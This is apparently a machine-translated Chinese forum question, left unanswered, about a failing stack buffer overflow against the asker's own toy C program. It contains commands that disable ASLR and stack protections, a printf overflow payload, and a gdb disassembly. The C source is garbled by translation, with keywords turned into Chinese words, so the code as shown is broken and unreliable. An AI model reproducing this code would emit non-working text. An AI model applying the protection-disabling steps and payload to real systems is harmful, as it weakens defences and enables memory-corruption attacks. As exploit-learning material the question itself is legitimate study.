1

简而言之,我想通过在堆栈上执行所需的地址来做一个简单的、非常基本的利用。

为此,我做了一些研究:

  1. 在 linux 上禁用随机化保护:

    echo 0 > /proc/sys/kernel/randomize_va_space

  2. 编译时在 gcc 上启用 stack exec。

    gcc overflow.c -o overflow -mpreferred-stack-boundary=4 -fno-stack-protector -ggdb -z execstack -static

  3. 最后创建源代码、gdb和exploit。

    无效返回输入(无效){

    字符数组[30];获取(数组);printf("%s\n",array); }

    诠释主要(){

    返回输入();返回 1;}

printf "AAAAAAAAAABBBBBBBBBBCCCCCCCCCC1234567\x40\x10\x5e" | ./overflow 考虑到gdb上的匹配地址,漏洞利用就这么简单 。

最后。我知道这个漏洞“应该”起作用。但我收到以下错误。

16199 illegal hardware instruction (core dumped) ./overflow

我知道该漏洞正在尝试在我传递的地址上实际执行该函数。无论如何它不起作用,系统上有某种保护(Linux 14.04 LTS 更新)但我不知道它是什么。

有谁知道如何克服这种“非法硬件指令(核心转储)”

仅供参考,这是我正在尝试利用的功能的 Gdb disas:

(gdb) disas return_input
Dump of assembler code for function return_input():
   0x000000000040105e <+0>: push   %rbp
   0x000000000040105f <+1>: mov    %rsp,%rbp
   0x0000000000401062 <+4>: sub    $0x20,%rsp
   0x0000000000401066 <+8>: lea    -0x20(%rbp),%rax
   0x000000000040106a <+12>:    mov    %rax,%rdi
   0x000000000040106d <+15>:    callq  0x408650 <gets>
   0x0000000000401072 <+20>:    lea    -0x20(%rbp),%rax
   0x0000000000401076 <+24>:    mov    %rax,%rdi
   0x0000000000401079 <+27>:    callq  0x408840 <puts>
   0x000000000040107e <+32>:    leaveq 
   0x000000000040107f <+33>:    retq   
End of assembler dump.
4

0 回答 0